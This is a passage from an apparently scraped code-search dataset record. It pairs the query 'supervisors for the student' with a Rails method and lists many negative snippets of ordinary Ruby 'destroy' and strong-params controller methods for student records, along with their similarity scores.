"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Se borró el registro de alumna satisfactoriamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = Student.find(params[:id])\n id = @student.usuario_id\n @usuario = Usuario.find(id)\n @usuario.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n Student.find(params[:id]).destroy\n # respond_to do |format|\n # format.html { redirect_to student_url, notice: 'Student was successfully removed.' }\n # format.json { head :no_content }\n # end\n redirect_to students_path\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to admin_students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to admin_students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to admin_students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @manage_student.destroy\n respond_to do |format|\n format.html { redirect_to manage_students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to manage_school_school_path(@school), notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n student.destroy\n respond_to do |format|\n format.html { redirect_to admin_students_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: \"Student was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to user_students_url(@user), notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to @student.school, notice: 'Student deletion successful.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url,\n notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @monedero = Monedero.find_by(student:@student)\n if @monedero = nil\n @monedero.destroy\n end\n @deposito = Deposito.find_by(student:@student)\n if @deposito = nil\n @deposito.destroy\n end\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: \"Student was successfully removed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student = current_district.students.find(params[:id])\n @student.remove_from_district\n\n respond_to do |format|\n format.html { redirect_to(index_url_with_page) }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: \"Student was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: \"Student was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: \"Student was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_student.destroy\n respond_to do |format|\n format.html { redirect_to admin_students_url, notice: \"Student was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\tStudent.delete_student_by_id(params[:id])\n\n\t\trender :json => params[:id]\n\tend",
"def destroy\n #@student.destroy\n # Soft deleting student for now\n @student.update(is_deleted: true)\n end",
"def destroy\n @find_student.destroy\n respond_to do |format|\n format.html { redirect_to find_students_url, notice: 'Find student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student_type.destroy\n\n head :no_content\n end",
"def destroy\n delete_with_references(@student,students_path)\n end",
"def destroy\n @student.delete\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html {\n flash[:success] = \"Estudante apagado.\"\n redirect_to students_url\n }\n format.json { head :no_content }\n end\n end",
"def destroy\n msg = Msg.new\n msg.result = false\n if @student\n @student.destroy\n msg.result = true\n else\n msg.content = '未找到该学生或您没有权限删除Ta'\n end\n render :json => msg\n end",
"def destroy\n @dojo_student = DojoStudent.find(params[:id])\n @dojo_student.destroy\n\n respond_to do |format|\n format.html { redirect_to dojo_students_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student_entity.destroy\n render json: {msg: 'deleted successfully'}, status: 200\n end",
"def destroy\n @studentinfo.destroy\n respond_to do |format|\n format.html { redirect_to studentinfos_url, notice: 'Studentinfo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to active_students_url, notice: 'Student was successfully deleted.' }\n format.json { head :no_content }\n end\n end"
] | [
"0.85750955",
"0.83143413",
"0.827922",
"0.82622653",
"0.8224754",
"0.8194343",
"0.81703246",
"0.8157268",
"0.80993366",
"0.8078121",
"0.8042896",
"0.80141294",
"0.8010168",
"0.7996887",
"0.7984613",
"0.7974499",
"0.7974499",
"0.7974499",
"0.7974499",
"0.7974499",
"0.7974499",
"0.79742134",
"0.7962123",
"0.79452497",
"0.79340357",
"0.79320604",
"0.79177976",
"0.7910306",
"0.7905258",
"0.7905258",
"0.7905258",
"0.7905258",
"0.7905258",
"0.7905258",
"0.7905258",
"0.7905258",
"0.7903775",
"0.7891352",
"0.7884886",
"0.78811",
"0.78776544",
"0.78710663",
"0.78627884",
"0.7862156",
"0.7830676",
"0.7830676",
"0.7830676",
"0.7827785",
"0.78140086",
"0.7804201",
"0.7799602",
"0.7798913",
"0.7792315",
"0.779041",
"0.77854973",
"0.77764875",
"0.77708316",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.77647996",
"0.7747311",
"0.7747311",
"0.7747311",
"0.7740351",
"0.77368695",
"0.77368695",
"0.77368695",
"0.77368695",
"0.77367646",
"0.7735841",
"0.7728334",
"0.77262115",
"0.7719042",
"0.77183425",
"0.7704734",
"0.76530606",
"0.7652679",
"0.7647966",
"0.7643431",
"0.7616733"
] | 0.8204014 | 5 |
supervisors for the student | def supervisor
@supervisors = Allocation.all.order(created_at: :desc).where(student_id: current_student.id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def supervisors\n (self.managers + self.trustees).uniq\n end",
"def students\n self.boating_tests.collect{|test| test.student} \n end",
"def students\n self.course_person.all(:type => \"student\").persons\n end",
"def scientist; end",
"def super_sector; end",
"def get_students\n registrations.select{|r| !r.instructor}.map{|r| r.user}\n end",
"def supervisor?(area)\n self.student? and return false\n self.area_ids.include?(area.id) \n end",
"def students\n users\n end",
"def students_advisor\n return nil if self.advisor? || self.provisional?\n\n self.current_sections.first.advisor\n end",
"def students\n users.students\n end",
"def is_supervisor?\n not under_supervision_clinics.empty?\n end",
"def is_student?\n self.role==\"student\"\n end",
"def former_student\n @batch = Batch.shod(params[:graduate][:batch_id])\n @batch.graduate(params[:students], params[:graduate][:status_description])\n former_student2\n authorize! :create, @batch\n end",
"def student_names\n self.students.map do |student|\n student.name\n end\n end",
"def students \n sk = Sektion.where(:teacher_id => self.id).map(&:id)\n sids = StudentRoster.where(:sektion_id => sk).map(&:student_id).uniq\n return Student.where(:id => sids)\n end",
"def get_matching_students\n\t\tstudent\n\tend",
"def students_in_classrooms\n self.classrooms.students\n end",
"def allowSuperiorSubordinate()\n banner(\"Allow Superior/Subordinate\")\n @run.society.each_agent(true) do |agent|\n superior = agent.name\n debug \"superior = #{superior}\"\n subordinates = []\n directlyReportingAll(superior).each do |subordinate|\n if @allAgents.include?(subordinate) then\n subordinates.push(subordinate)\n end\n end\n debug \"subordinates = #{subordinates.join(',')}\"\n enclaves = [ agent.host.enclave ]\n subordinates.each do |subordinate|\n enclave = getEnclaveFromAgent(subordinate)\n if enclave == nil then\n next\n end\n if ! enclaves.include?(enclave) then\n enclaves.push(enclave)\n end\n end\n debug \"enclaves = [#{enclaves.join(\", \")}]\"\n if (! subordinates.empty?) then\n declareSet(namedAgent(superior), [superior])\n subordinatesName = \"SubordinatesOf#{superior}\"\n declareSet(subordinatesName, subordinates)\n permit(namedAgent(superior), subordinatesName,\n \"#{superior}TalksToSubordinates-I\",\n enclaves)\n permit(subordinatesName, namedAgent(superior),\n \"#{superior}TalksToSubordinates-II\",\n enclaves)\n end\n end\n end",
"def student?\n self.role == \"student\"\n end",
"def students\n course_enrollments.where(course_role: CourseRole.student).map(&:user)\n end",
"def student?\n false\n end",
"def minimumSupervisorLevel\n \tsupervisions.count + 1\n end",
"def student?\n return self.eduPersonAffiliation==\"student\"\n end",
"def children\n # return students\n return offerings\n end",
"def senior?\n\t\tgrade == 12\n\tend",
"def student?\n if self.role and self.role == 4 \n true\n end\n end",
"def initialize(student_id,semister_id)\n @student_id=student_id\n @semister_id=semister_id\n end",
"def secondary_school; end",
"def primary_school; end",
"def index\n @admin_student_majors = Admin::StudentMajor.all\n end",
"def tests\n BoatingTest.all.select { |test| test.student == self }\n end",
"def students\n Rollcall::Student.find_all_by_school_id schools\n end",
"def medical_school\n\tend",
"def best_consultants_setup\n setup_before_rbc\n @rbc_0 = @rank_by_consulting[0]\n @rbc_1 = @rank_by_consulting[1]\n @rbc_2 = @rank_by_consulting[2]\n @rbc_3 = @rank_by_consulting[3]\n @rbc_0_stud = Student.find(@rbc_0)\n @rbc_1_stud = Student.find(@rbc_1)\n @rbc_2_stud = Student.find(@rbc_2)\n @rbc_3_stud = Student.find(@rbc_3)\n \n # Set all students unqualified to begin with\n ObjectiveStudent.where(:objective => @objective_40).update_all(:points_all_time => 3)\n \n # Stud_0 already has keys\n ObjectiveStudent.find_by(:objective => @objective_40, :user => @rbc_0_stud).update(:points_all_time => 7, :teacher_granted_keys => 2)\n \n # Stud_1 scored 10\n ObjectiveStudent.find_by(:objective => @objective_40, :user => @rbc_1_stud).update(:points_all_time => 10)\n \n # Stud_2 scored 9\n ObjectiveStudent.find_by(:objective => @objective_40, :user => @rbc_2_stud).update(:points_all_time => 9)\n \n # Stud_3 should normally be first choice\n ObjectiveStudent.find_by(:objective => @objective_40, :user => @rbc_3_stud).update(:points_all_time => 7)\n \n # Make sure these students have no teach_request\n [@rbc_0_stud, @rbc_1_stud, @rbc_2_stud, @rbc_3_stud].each do |stud|\n SeminarStudent.find_by(:seminar => @seminar, :user => stud).update(:teach_request => nil)\n end\n \n # Set @objective_40 to priority 5\n set_priority(@objective_40, 5)\n end",
"def school; end",
"def student_teachers_list\n self.teachers.collect do |teacher|\n teacher.teacher_name\n end\n end",
"def set_semesters\n\t\tif is_student\n\t\t @semesters = Array.new\n\t\t counter = @current_user.enrollment_time\n\t\t counter_limit = @current_user.graduation_time\n\t\t while counter <= counter_limit do\n\t\t @semesters << \"#{counter}s\"\n\t\t @semesters << \"#{counter}f\"\n\t\t counter = counter+1\n\t\t end\n\t\t @semesters.pop\n\t\t @semesters.shift\n\t\tend\n\tend",
"def student_list\n\t\t@student_list ||=[]\nend",
"def university; end",
"def index\n \n parent_user = User.find( params[:parent_id] )\n\n\t# check that the issuer of the request has both the username and ID of the parent, prevent attack\n if params[:parent_login].gsub(/ /,'') != parent_user.login.gsub(/ /,'')\n \tlog_attack \"Student index() for parent \" + params[:parent_id] + \" : \" + params[:parent_login] + \" - parent_user.login = \" + parent_user.login \t\n respond_to do |format|\n format.xml { render :xml => errorRsp( \"Security error\") }\n end\n \treturn\n end\n \n \n if params[:parent_id] != nil\n @students = Student.find_all_by_parent_id(params[:parent_id], \n :conditions => { :status => [ \"active\" ] } )\n end\n \n \n if params[:admin_list] != nil\n @students = Student.find_all_by_status( [ \"active\", \"suspended\" ] )\n end\n \n respond_to do |format|\n format.xml { render :xml => @students }\n end\n end",
"def students_name\n self.pupil.title\n end",
"def superwork_evidences\n find_related_frbr_objects( :is_evidence_of, :which_superworks?) \n end",
"def instructors\n users.not_students\n end",
"def new\n @supervision.student = Student.find(params[:student_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @supervision }\n end\n end",
"def student_index\n end",
"def assign_representative\n # access the members in the has_many relation\n @student = Student.find(members.first.student_id)\n @members.each do |m|\n @student = m.student if m.student.draw_num < @student.draw_num\n end\n @student.id\n end",
"def student\n @student ||= Student.find_by_uic(uic)\n end",
"def coaches_student?(student)\n\t\tstudents.include?(student)\n\tend",
"def initialize\n @knowledge = [] # When we make a new student, that instance of a student will create an array tied to that specific student\n end",
"def user\n student.user\n end",
"def superwork_influences\n find_related_frbr_objects( :is_influenced_by, :which_superworks?) \n end",
"def manager_index \n # Get all departments\n @university = current_user.university\n @departments = @university.departments\n\n # Create a hash with key is department and value is all students object\n @department_students = Hash.new\n @departments.each do |department|\n @department_students[department] = Array.new\n department.users.each do |user|\n if user.role == 'Student'\n @department_students[department].push user\n end\n end\n end\n end",
"def employer; super; end",
"def unsubmit_students\n # self.lesson.students - self.students\n self.grades_course.students - self.students\n end",
"def students\n if current_user.is_admin?\n @students= User.find(:all, :conditions => \"is_teacher = '0' and is_admin = '0'\")\n respond_to do |format|\n format.xml { render :xml => @students }\n end\n else\n respond_to do |format|\n format.xml { render :text => \"error\" }\n end\n end\n end",
"def student_array\n @students1 = []\n @selected_students = User.only_students\n @students1 << @selected_students\n end",
"def initialize(ss,rest)\n super(ss.name,ss.ammoPower, ss.fuelUnits, ss.shieldPower, ss.weapons, ss.shieldBoosters,ss.hangar,ss.nMedals, ss.pendingDamage)\n @collaborators = Array.new\n for i in (0...rest.size)\n @collaborators.push(rest[i])\n end \n @base=ss\n end",
"def setup\n @student = students(:data1)\n end",
"def scoreScissors m\n\t\t[0,1] \n\tend",
"def course_students\n return student_terms.find_all_by_term_type(\"Course\")\n end",
"def junior?\n\t\tgrade == 11\n\tend",
"def teacher_is_super( teacher)\n teacher == Teacher.first\n end",
"def staff\n group.staff + group.group_type.courses.map(&:convenor)\n end",
"def students(grade)\n sorted_roster[grade] || []\n end",
"def second_version\n klass = case params[:student_level]\n when :freshman, :sophomore then\n Student::Underclassman\n when :junior, :senior then\n Student::Upperclassman\n when :graduate\n Student::Graduate\n else\n Student::Unregistered\n end\n student = klass.new(name, birthdate, address, phone)\nend",
"def junior?\n grade <=6\n end",
"def list_nurse_info\n\n end",
"def improvisors\n find_related_frbr_objects( :is_improvised_by, :which_roles?) \n end",
"def improvisors\n find_related_frbr_objects( :is_improvised_by, :which_roles?) \n end",
"def lonely_students_need_partners\n @lonely_students.each_with_index do |student, i|\n if i >= 1 \n puts \"#{i}. #{student} needs a partner\"\n puts \" \"\n end\n end\n end",
"def scoreScissors m\n\t\t[1,0]\n\tend",
"def show\n if current_user.role == 'parent'\n @students = current_user.students\n elsif current_user.role == 'teacher'\n @students = current_user.student_class.students.all\n end\n true\n #@messaging_centres = MessagingCentre.all\n end",
"def show\n if @student.current_level.present?\n @student_level = Level.find(@student.current_level)\n end\n\n # Find if client has multiple students\n @last_student = ClientStudent.where(student_id: @student.id).last\n @multiple_students = ClientStudent.where(client_id: @last_student.client_id).all\n\n if @multiple_students.count > 1\n @multiple = true\n end\n @get_students = @multiple_students.pluck(:student_id)\n @students = Student.where(id: @get_students).all\n\n if params.has_key?(:show_multiple)\n if current_user.client == true\n @posts = Post.where(student_id: @get_students).where(note: [false, nil]).order(\"created_at DESC\").all\n else\n @posts = Post.where(student_id: @get_students).order(\"created_at DESC\").all\n end\n else\n if current_user.client == true\n @posts = Post.where(student_id: @student.id).where(note: [false, nil]).order(\"created_at DESC\").all\n else\n @posts = Post.where(student_id: @student.id).order(\"created_at DESC\").all\n end\n end\n ####\n\n @student_skills = StudentSkill.where(student_id: @student.id).all\n @clients = ClientStudent.where(student_id: @student.id).all\n\n end",
"def show\n if @registration.registerable_type == \"Student\"\n @registrants = [@registration.registerable]\n else\n @registrants= @registration.registerable.students.to_a\n end\n @registrants\n end",
"def species; end",
"def students # Want: student id and student names on Users Table\n return User.joins(:sections).where(:sections => {:id => self.id}).all\n end",
"def get_supervisor_ids(es_url)\n # TODO SCAL-770 there can be many ES instances - get all supervisors from them\n # TODO ES development (http)?\n supervisors = []\n\n if es_url.blank?\n Rails.logger.error('There are no Experiment Supervisors available')\n else\n begin\n Rails.logger.error('[supervisor_options] Using Experiment Supervisor:' + es_url)\n supervisors_resp = current_user.get_with_token(\"https://#{es_url}/supervisors\")\n supervisors = JSON.parse(supervisors_resp)\n rescue RestClient::Exception, StandardError => e\n Rails.logger.error \"Unable to connect with Supervisor: #{e.to_s}\"\n end\n end\n\n supervisors\n end",
"def show\n authorize @institute\n @admins = User.where(role:3,institute_id: @institute.id)\n @students = User.where(role:1,institute_id: @institute.id)\n end",
"def set_thesis_supervision\n @thesis_supervision = ThesisSupervision.find(params[:id])\n end",
"def subgenres; end",
"def students\n students = self.users.where(\"participants.role_id = 4 and accepted = 2\").order('lastname').all\n return students\n end",
"def external\n @plan_subjects = PlanSubject.find_unfinished_external_for(@user)\n @students = @plan_subjects.map {|ps| ps.study_plan.index.student}.uniq\n end",
"def get_students\n ret=[]\n self.get_class_schools.each do |classe|\n ret.concat classe.students\n end\n #puts \"========================== teacher.get_students: #{ret.count}\"\n ret\n end",
"def super_teacher\n Teacher.first\n end",
"def sub_sector; end",
"def initialize(student,boating_test_name,boating_test_status,instructor)\n @student = student\n @boating_test_name = boating_test_name\n @boating_test_status = boating_test_status\n @instructor = instructor\n @@all << self\n end",
"def set_student\n @student = Student.includes(:scores, :nutritions).find(params[:id])\n end",
"def initialize(student)\n @number_grade = set_number_grade(student)\n @letter_grade = set_letter_grade\n end",
"def number_of_superwork_evidences(login=nil)\n count_by_frbr(login, :is_evidence_of, :how_many_superworks?) \n end",
"def students\n @courses = Course.where(\"teacher_id=?\",session[:user].teacher_id)\n student_ids = Array.new\n @courses.each{ |c|\n student_ids.push(c.courseStudents)\n }\n student_ids.each{ |array|\n array.each{ |student|\n @students.push(student)\n }\n }\n @students.uniq!\n end",
"def student?\n @student = true if session[:role_name] == 'Student'\n end",
"def student_name\n return @name\n end",
"def train\n super\n puts \"#{@role} #{@last_name} supports the team during the training\"\n end",
"def index\n @students = Student.by_registration_time\n \n @nsbe_students = Student.get_nsbe.by_registration_time\n @shpe_students = Student.get_shpe.by_registration_time\n end",
"def show\n school_id = @student.school_id\n @course_selection = []\n @assigned_school = School.find(school_id)\n course_ids = @student.course_ids\n course_ids.each do |id|\n selection_unit = Course.find(id)\n @course_selection << selection_unit\n end\n end",
"def show\n @teacher = Teacher.find(params[:id])\n @students = @teacher.students.order('full_name ASC')\n @students_at_school = Student.where(school_id: @teacher.school_id).order('full_name ASC')\n @students_not_in_roster = Student.where(school_id: @teacher.school_id).where.not(id: @teacher.students).order('full_name ASC')\n\n #Whenever this page is visited, it updates the roster for the admin.\n if @teacher.admin\n\n #https://stackoverflow.com/questions/3343861/how-do-i-check-to-see-if-my-array-includes-an-object\n @students_at_school.each do |student|\n unless @students.include?(student)\n @teacher.students << Student.find(student.id)\n end\n end\n \n @students = @students_at_school\n @students_not_in_roster = []\n else\n # add student case\n if params[:add_student] && (params[:add_student_id] != nil)\n @teacher.students << Student.find(params[:add_student_id])\n redirect_to @teacher\n # remove student case\n elsif params[:remove_student] && (params[:remove_student_id] != nil)\n @teacher.students.delete(Student.find(params[:remove_student_id]))\n redirect_to @teacher\n end\n end\n end",
"def index\n @thesis_supervisions = ThesisSupervision.all\n end",
"def inactive_students\n self.students.each{|s| s.active = false}\n end",
"def students\n @students ||= []\nend",
"def super_members\n self.members.find_all_by_role_id(MemberRole.super_role.id)\n end"
] | [
"0.65310305",
"0.6197722",
"0.6101372",
"0.6002916",
"0.59040886",
"0.5893642",
"0.5866058",
"0.5862979",
"0.58554673",
"0.5833011",
"0.573758",
"0.57127976",
"0.5697739",
"0.56645787",
"0.5658557",
"0.5656469",
"0.5650854",
"0.5648672",
"0.564001",
"0.56372607",
"0.5637005",
"0.5619136",
"0.5609007",
"0.55890423",
"0.5561593",
"0.556038",
"0.5537501",
"0.5530006",
"0.5505281",
"0.5499163",
"0.5477846",
"0.5477389",
"0.54689395",
"0.54661465",
"0.5459164",
"0.54425144",
"0.5441361",
"0.5435031",
"0.5412593",
"0.54108834",
"0.5401805",
"0.5400256",
"0.539826",
"0.53920287",
"0.53912145",
"0.5388209",
"0.538749",
"0.5385459",
"0.5385271",
"0.53826344",
"0.53767025",
"0.5371151",
"0.53689414",
"0.5361614",
"0.5360338",
"0.5345787",
"0.53384656",
"0.5325289",
"0.5323019",
"0.5318632",
"0.53172874",
"0.5314704",
"0.5312186",
"0.530829",
"0.53030163",
"0.5300546",
"0.5291274",
"0.52876395",
"0.52876395",
"0.5282353",
"0.52817607",
"0.525574",
"0.5247444",
"0.5244917",
"0.5239908",
"0.52367187",
"0.5236413",
"0.52299297",
"0.522803",
"0.5226263",
"0.52117336",
"0.5204065",
"0.52018213",
"0.5199115",
"0.51979554",
"0.51898986",
"0.51746404",
"0.51702815",
"0.5170117",
"0.51657873",
"0.51606005",
"0.51588386",
"0.5157187",
"0.51567554",
"0.5147502",
"0.5146896",
"0.51443136",
"0.51379913",
"0.5136023",
"0.5134366"
] | 0.7407582 | 0 |
This private method indicates the parameters for the student using the strong params | def student_params
params.require(:student).permit(:full_name, :email, :pnumber, :password, :password_confirmation, :course_id, :additional_interest, :level_id, project_tag_ids:[])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def student_params\n\t\t#students requires parameters, and you can have 5 - including course attributes (name of course), and cohort attributes\n\t\tparams.require(:student).permit(:first_name, :last_name, :id, :photo, courses_attributes: [:name], cohorts_attributes: [:season, :year], contacts_attributes: [:category, :info, :id])\n\t#wraps up student parameters aciton\n\tend",
"def student_params\n params.require(:student).permit(:name, :age, :marks1, :marks2, :marks3, :student_class_id, :rollnumber)\n end",
"def student_params(*args) #is the helper method \n\n\t\tparams.require(:student).permit(*args)\n\t\t#uses .require and .permit methods as stronger params to prevent hacks through inspect element right click edit html \n\t\t#require restricts, permit allows, and *args is for the custom arguments\n\tend",
"def student_params\n params.require(:student).permit(:name, :date_od_birth, :father_name, :admint_branch, :community, :contact_number, :address, :cut_off_marks, :markshett, :transfer_certificate, :ten_marksheet, :community_certificate, :aadhar_card, :income_certificate, :graduation_cerificate, :admin_user_id)\n end",
"def student_params\n params.require(:student).permit(:name, :email, :gender, :age, :opinion)\n end",
"def student_params\n params.require(:student).permit(:education_level, :description, :subjects_of_interest, :user_id)\n end",
"def student_params\n params.require(:student).permit(:name, :is_girl, :is_special)\n end",
"def student_params\n params.fetch(:student, {}).permit(\n :last_name,\n :first_name,\n :birthdate,\n :email,\n :level_id,\n :accommodations,\n :school,\n :school_grade,\n :highest_math_class,\n :waiver_submitted)\n end",
"def student_params\n params.require(:student).permit(:name, :last_name, :phone, :mail, :address, :score, :semester, :career, :comment, :leader_first, :leader_second, :mail_2, :phone_2, :age, :birthday, :link_university, :link_data, :identification, :issued_in, :city_id, :type_identification_id, :title_id, :university_id, :current_worker, :condition_id,:body_1,:body_2)\n end",
"def student_params\n params.require(:student).permit(:pbm, :stratus, :age, :tutor_id)\n end",
"def student_params\n params.require(:student).permit(:roll_no, :first_name, :middle_name, :last_name, :dob, :age, :teacher_id)\n end",
"def student_params\n params.require(:student).permit(:admission_no, :admission_date, :student_name, :surname, :class_applied, :age, :dob, :pob, :card_no, :gender, :father_name, :occupation, :qualification, :mob_no, :email, :address,:mother_name, :m_occupation, :m_qualification, :specialist, :m_address, :m_mob, :m_email, :whats_app, :req_trans, :trans_addr, :image, :remarks, :user_id\n )\n end",
"def student_params\n params.require(:student).permit(:name, :roll_no, :fathers_name, :CGPA, :college_ID, :last_semester, :class_rank)\n end",
"def student_params\n params.require(:student).permit(:FirstName, :ID, :UserName, :password, :LastName, :Quizs_grade, :Problems_grade, :is_archived)\n end",
"def student_params\n params.require(:student).permit(:name, :standard_id, :school_id)\n end",
"def student_params\n params.require(:student).permit(:student_id, :last_name, :first_name, :home_address, :home_city, :home_state, :home_zip, :school_year_address, :school_year_city, :school_year_zip, :room_number, :home_phone, :cell_phone, :new_student, :returning_student, :athletic_team)\n end",
"def student_params(p = params)\n p.require(:student).permit(\n :guid, :preferred_name, :given_name, :family_name,\n :dob, :gender, :pronouns,\n :cohort, :gpa, :gpa_updated)\n end",
"def student_params\n params.require(:student).permit(:icno, :name, :sstatus, :stelno, :ssponsor, :gender, :sbirthdt, :mrtlstatuscd, :intake,:course_id, :)\n end",
"def student_params\n params.require(:student).permit(:hoten, :ngaysinh, :gioitinh, :choohientai, :hokhauthuongtru, :noisinh, :quequan, :dantoc, :dienchinhsach, :canngheo, :tencha, :nghenghiepcha, :dienthoaibo, :tenme, :nghenghiepme, :dienthoaime)\n end",
"def student_params\n params.require(:student).permit(:studentid, :uid, :user_id, :firstyear, :dapartment_id)\n end",
"def student_params\n params.require(:student).permit(:first_name, :last_name, :cell_phone, :home_phone, :address, :zipcode, :social_security_number, :birth_date, :email, :current_school, :previous_school, :grade_level, :point_of_contact, :ymen_start_date, :church, :resume_completed, :leadership_roles, :other_organizations_involved, :num_current_mentors, :names_of_current_mentors, :family_notes, :other_notes)\n end",
"def student_params\n params.require(:student).permit(:first_name, :last_name, :middle_name, :mobile_phone, :classof, :leave_reason,\n :skills, :goals, :active, :year)\n end",
